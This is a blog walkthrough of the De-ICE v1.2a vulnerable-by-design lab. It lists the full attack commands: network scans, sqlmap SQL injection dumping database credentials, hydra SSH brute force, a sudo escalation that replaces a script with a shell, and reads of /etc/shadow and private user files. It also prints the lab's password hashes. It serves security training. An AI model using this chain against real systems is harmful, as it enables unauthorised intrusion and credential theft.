De-ICE.net v1.2a (1.20a) {Level 1 - Disk 3 - Version A}

De-ICE has another challenge in its "vulnerable-by-design" series - even though the naming gets more confusing with every release! It's been a while since the last release, level 2-disk 1 (back in 2007). The students of "HackingDojo" were challenged to put together their own exploitable LiveCD, and it was released under the de-ice name. This is "version a", and should be not confused with "version B" (de-ice-1.120-1.0b.iso aka Level 1-Disk 3-Release 1-Version B), as these are NOT the same challenge - it's a different setup.

Links

Watch video on-line:

Download video: http://download.g0tmi1k.com/videos_archive/De-ICE_v1.2a(1.120).mp4

Timeline

Heorot.net release's (in date order):

  • De-ICE - Level 1 - Disk 1 (hxxp://forums.heorot.net/viewtopic.php?f=16&t=13) (de-ice.net-1.100-1.1.iso)
  • De-ICE - Level 1 - Disk 2 (hxxp://forums.heorot.net/viewtopic.php?f=16&t=13) (de-ice.net-1.110-1.0.iso)
  • De-ICE - Level 2 - Disk 1 (hxxp://forums.heorot.net/viewforum.php?f=18) (de-ice.net-2.100-1.1.iso)
  • pWnOS (hxxp://forums.heorot.net/viewtopic.php?f=21&t=149) (pWnOS v1.0.zip)
  • Hackerdemia (hxxp://forums.heorot.net/viewtopic.php?f=42&t=203) (hackerdemia-1.1.0.iso)
  • De-ICE - Level 1 - Disk 3 - Version A (hxxp://forums.heorot.net/viewtopic.php?f=16&t=482) (de-ice-1.120-1.0a.iso)
  • De-ICE - Level 1 - Disk 3 - Version B (hxxp://forums.heorot.net/viewtopic.php?f=16&t=482) (de-ice-1.120-1.0b.iso)

Method

  • Pre-setup (configured IP as the host has a static IP in 192.168.1.0/24 range)
  • Scan network for the host (nmap)
  • Port scanned host (unicornscan)
  • Enumerated running services running open ports (nmap)
  • Discovered a SQL Injection (Firefox)
  • Dump all usernames & passwords to the database (sqlmap)
  • Tested for any repeated logins with known usernames & working passwords (hydra)
  • Escalated privilege by incorrectly configured settings (sudo)

Tool

  • de-ice-1.120-1.0a.iso - (MD5: E8FB66760ADDF85896DB3F78F278F7D2)
  • Spare or a virtual machine - (Example: Virtual Box or VMware Player)
  • nmap(Can be found on BackTrack 5).
  • unicornscan(Can be found in BackTrack 5 repository).
  • sqlmap(Can be found on BackTrack 5).
  • hydra(Can be found on BackTrack 5).

Walkthrough

A quick "ping" scan with nmap, shows which hosts are connected to the network. Once the target had been discovered a detailed port scan (TCP & UDP) was taken by using unicornscan. To check the results another detailed TCP port scan was done, though this time it was done using nmap. Unicornscan uses a lot less time to do a port scan compared to nmap (especially with UDP scanning). However, nmap has the advantage of being able to do more than just "port scanning" by "information gathering". The attacker uses the "-a" option, which allows for "OS detection", "version detection of services", "a collection of script scanning", and "traceroute details" as well as increasing the scan speed by "-T4". nmap also confirms TCP port 80 is open, which is the default port for a web server, as well as detecting basic information regarding the configuration of the server.

The attacker then interacts with the web server and is presented with a "Data Entry" site. There isn't any protection on the server, which allows for the attacker to add a new product into the system. Upon doing so, the attacker notices the URI of the current page, "products.php?id=1". By using the ID variable, the server selects the requested item. The attacker tries to inject their own code allowed with it.

The attacker uses sqlmap to speed up the injection process as it is designed to test multiple injection methods. sqlmap has pre-built commands which allows the attacker to find common sensitive information (such as; the running services and versions, current user and the database admin, user privileges as well as viewing every table along with the contents). The attacker chooses to capture all the users and their passwords to the database services. The passwords used in the database are encrypted, however, they use a well-known scheme which is easily cracked. The result of this, gives the attacker 50 working usernames as well as 49 known passwords too.

The attacker then checks to see if any of the users have reused their passwords (or if they have used someone else known password, any blank passwords or their usernames as the passwords), by brute forcing the SSH remote login. The result of this action, gives the attacker remote access to the system with 50 credentials.

On the list of credentials, the attacker notices a few usernames which they have seen before from previous pentests for the company. The attacker then logs into their accounts and views their personal folders. Upon accessing "ccoffee" account, there was a directory (scripts) located inside. In this folder, there was a file which was only accessible to the super user account, root. The attacker then checks to see if any privileges have been assigned to the user for this file-they have been. The attacker then backups the file and replaces it with their own file - which is a shell prompt.

The attacker highlights the fact that the full path has to be specified for sudo to allow access to the file. After this command has been executed, the attacker now has complete access to the system. The attacker collects a bit of information about the system (IP addresses, user hashes and accesses the personal folder for the root account).

As the attacker now has access to the complete system, they access every user folder at once and view random files at their choosing; a selection of them are sensitive to the company. (Note: I skipped the majority of them out for two reasons: 1.) It's boring watching me cat'ing them all and 2.) It allows you to view them for yourselves).

Game over

Commands

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
ifconfig eth0
ifconfig eth0 192.168.1.59
ifconfig eth0
nmap 192.168.1.* -n -sn -sP
us -H -msf -Iv 192.168.1.120 -p 1-65535 && us -H -mU -Iv 192.168.1.120 -p 1-65535
nmap -p 1-65535 -T4 -A -v 192.168.13.120
firefox 192.168.1.120    # Add new product -> view product
cd /pentest/database/sqlmap
./sqlmap.py -u "http://192.168.1.120/products.php?id=1" -f -b --current-user --is-dba --is-dba --privileges --dbs --dump
./sqlmap.py -u "http://192.168.1.120/products.php?id=1" --users --passwords
cd output/192.168.1.120/
ll
grep -i administrator log
grep -i localhost log | grep -v : | sort | uniq
grep -i localhost log | grep -v : | sort | uniq | sed "s/\[\*\] '//" | sed  "s/'@'localhost'//" > /tmp/users
grep "clear-text" log | sort | uniq
grep "clear-text" log | sort | uniq | sed "s/    clear-text password: //" > /tmp/passwords
wc -l /tmp/users
hydra -L /tmp/users -P /tmp/passwords -e ns 192.168.1.120 ssh 2>/dev/null | tee /tmp/output
#medusa -h 192.168.1.120 -U /tmp/users -P /tmp/passwords -O /tmp/output -e ns -M ssh
ssh ccoffee@192.168.1.120
ls
cd scripts
ls -lah
sudo -l
cat getlogs.sh
mv getlogs.sh getlogs.bkup
echo "/bin/sh" > getlogs.sh
cat getlogs.sh
chmod  x getlogs.sh
ls -l
./getlogs.sh
id
exit
sudo getlogs.sh
sudo /home/ccoffee/scripts/getlogs.sh
id
id && /sbin/ifconfig && uname -a && cat /etc/shadow && ls -lah /root/
ls -lAhR /home
#cat /home/aallen/gravy.txt
cat /home/aspears/hbkae
cat /home/bbanter/notes
cat /home/cchisholm/reminders.text
cat /home/ccoffee/DONOTFORGET
#cat /home/hlovell/creepy.doc
cat /home/jalvarez/draft
cat /home/jdavenport/company_address.txt
#cat /home/jdavenport/svrc.txt
cat /home/jduff/todo.txt
#cat /home/krenfro/list
cat /home/ktso/personnel.doc
#cat /home/kwebber/list
#cat /home/lmartinez/favorite.txt
#cat /home/mnader/layout
cat /home/rpatel/schedule
#---------------------------------------------------------------------
root:$1$WfY1CvwB$D.6haP5soPp6vEQg9bhPg0:15188:0:::::
amaynard:$1$c210ErwB$HrzQkYAHwfvelkTRlzpLg/:15188:0:99999:7:::
cchisholm:$1$U160JrwB$.dduNMEgO7dV6lKk1dxxh1:15188:0:99999:7:::
myajima:$1$xk70OrwB$zSNMbpCceMK5yCLyRNlKw0:15188:0:99999:7:::
jdavenport:$1$n8Z1EvwB$Onfu58cxo0iHlkZrWFr46.:15188:0:99999:7:::
aadams:$1$E8B0YrwB$B2uCDepzXuvTY5NLL7GH6.:15188:0:99999:7:::
mbryan:$1$qqC0drwB$1R542ZRYEG3mfwe/GVSx.0:15188:0:99999:7:::
rpatel:$1$siE0irwB$nOgG/5tdhJxe.//y2XilL1:15188:0:99999:7:::
dcooper:$1$WhG0nrwB$W9sKEbkXNj1tkPVaZFBsj.:15188:0:99999:7:::
hlovell:$1$NXI0srwB$Z0bYLrdonKdxhd47XkIpQ/:15188:0:99999:7:::
jbresnahan:$1$ZYK0xrwB$npR5VIJXTLerRta1SRit..:15188:0:99999:7:::
aspears:$1$CJM00swB$5Yz1Jr5aCNh9cIaYnmF1A1:15188:0:99999:7:::
lmorales:$1$U1O05swB$r8jHStK1gi8uCIxf9UtF8/:15188:0:99999:7:::
dtraylor:$1$wpP0AswB$pMD7MsDlceIi3vyF7RUF31:15188:0:99999:7:::
jalcantar:$1$VaR0FswB$TcnOVJoUWDmy9lNkDaTKE/:15188:0:99999:7:::
rdominguez:$1$FLT0KswB$D3Hx32b9ulgcs0xGys6HP/:15188:0:99999:7:::
sjohnson:$1$O8V0PswB$Bx8EQjfZfvT/KRn3qFWYu/:15188:0:99999:7:::
rjacobson:$1$puW0UswB$F/Qy2cfcfeqdgLAGBXSNZ0:15188:0:99999:7:::
kwebber:$1$fcY0ZswB$g/goHdSqR9rKhdIfQcQZi/:15188:0:99999:7:::
dgilfillan:$1$hLa0eswB$kmZ/dj.nm4P1HItNDpEoe.:15188:0:99999:7:::
strammel:$1$.6c0jswB$56FUjoDRsFnVJpbv8UXOJ/:15188:0:99999:7:::
mholland:$1$msd0oswB$WLahBe77iUN5mMUfXjOtG/:15188:0:99999:7:::
lmartinez:$1$Idf0tswB$1p5EH/82vJ531K8CigEDD0:15188:0:99999:7:::
djohnson:$1$BNh0yswB$p4GCj50pY6KJdN3sDunal1:15188:0:99999:7:::
bbanter:$1$S7j01twB$yZY6jCAbzXRJnknNWgLVX.:15188:0:99999:7:::
aweiland:$1$G7l06twB$yWY3A2dFzDO/d2ODwefak0:15188:0:99999:7:::
mrodriguez:$1$o7n0BtwB$/uDQNVKIaDW45rw6cmU5g1:15188:0:99999:7:::
aallen:$1$xwo0GtwB$w4x/cSueMFa0K6ovawGZx1:15188:0:99999:7:::
jduff:$1$Jgq0LtwB$UfPTHRhQcOZt4vMIIFCmw0:15188:0:99999:7:::
aard:$1$0Qs0QtwB$F7VGVjAV7.sqUTBJHGeJy.:15188:0:99999:7:::
aharp:$1$BBu0VtwB$x58Fzy1fkJw8Hu6FKdC9W0:15188:0:99999:7:::
jfranklin:$1$nxv0atwB$dIMl2raRhaQ1S5pDuVjmP1:15188:0:99999:7:::
swarren:$1$4qx0ftwB$lGa9mO0/1G3S.bF6XsLSN.:15188:0:99999:7:::
tdeleon:$1$Udz0ktwB$iL4AdscPHskPHLuPs5cck1:15188:0:99999:7:::
sgains:$1$ih/1ptwB$zsOwb38f1LBlxLhsErxtM0:15188:0:99999:7:::
tgoodchap:$1$jc11utwB$zjQqR/O8JF0dx44pJLnje1:15188:0:99999:7:::
aheflin:$1$wh31ztwB$avbU3tAf5bk0yrcfP3Omu.:15188:0:99999:7:::
dwestling:$1$8c512uwB$qLDe0mMh5f0cmScixHB1e1:15188:0:99999:7:::
jayala:$1$fP717uwB$Jj1hhFl/5x40TGT5OOMPg1:15188:0:99999:7:::
mnader:$1$hH91CuwB$9FGdKfQko1xgp23m.ABrf0:15188:0:99999:7:::
dstevens:$1$z6B1HuwB$GyOErF9l.8K7b6ninqm8S0:15188:0:99999:7:::
jalvarez:$1$quC1MuwB$xAuD2ON9fw4M0RWk1gNix/:15188:0:99999:7:::
ccoffee:$1$3hE1RuwB$81Zlxr6VE0Dq3Zle4uMZF.:15188:0:99999:7:::
krenfro:$1$7UG1WuwB$ZOq7HpWqaGJCOwJZeX2QJ.:15188:0:99999:7:::
kclemons:$1$aII1buwB$AHP4eKOECYAidCxLsYrEK.:15188:0:99999:7:::
qpowers:$1$S7K1guwB$DgvYQxyTjva0jltWiLHQ90:15188:0:99999:7:::
dgrant:$1$1xL1luwB$D4wXwL6w4kzbrbpNTXqIt0:15188:0:99999:7:::
ktso:$1$v1O1quwB$q8iGtRe5e5NGSdM73tDVG0:15188:0:99999:7:::
bphillips:$1$6zP1vuwB$.DuK.K04CdMBRx1V.psUJ1:15188:0:99999:7:::
bwatkins:$1$QqR1.vwB$stF2i6wHmcta94eCYsztf.:15188:0:99999:7:::
#---------------------------------------------------------------------

Notes

  • De-ICE.net v1.2a has a static IP address of 192.168.1.120. Make sure you are on the same subnet as it!
  • When booting De-ICE it will randomly assign the passwords to the usernames - so it's different each time!
  • Each time you start De-ICE.net v1.2a it will generate fresh SSH keys - so it's different each time!
  • I made a couple of mistakes in the video (For example: /devnull) - it's worth checking the commands subsection!

Song: Crazy World (Extended Mix) - J Majik & Wickaman & Ill Behaviour - Danny Byrd Featuring I-Kay

Video length: 07:40

Capture length: 29:31

Blog Post: https://blog.g0tmi1k.com/2011/08/de-icenet-v12a-120a-level-1-disk/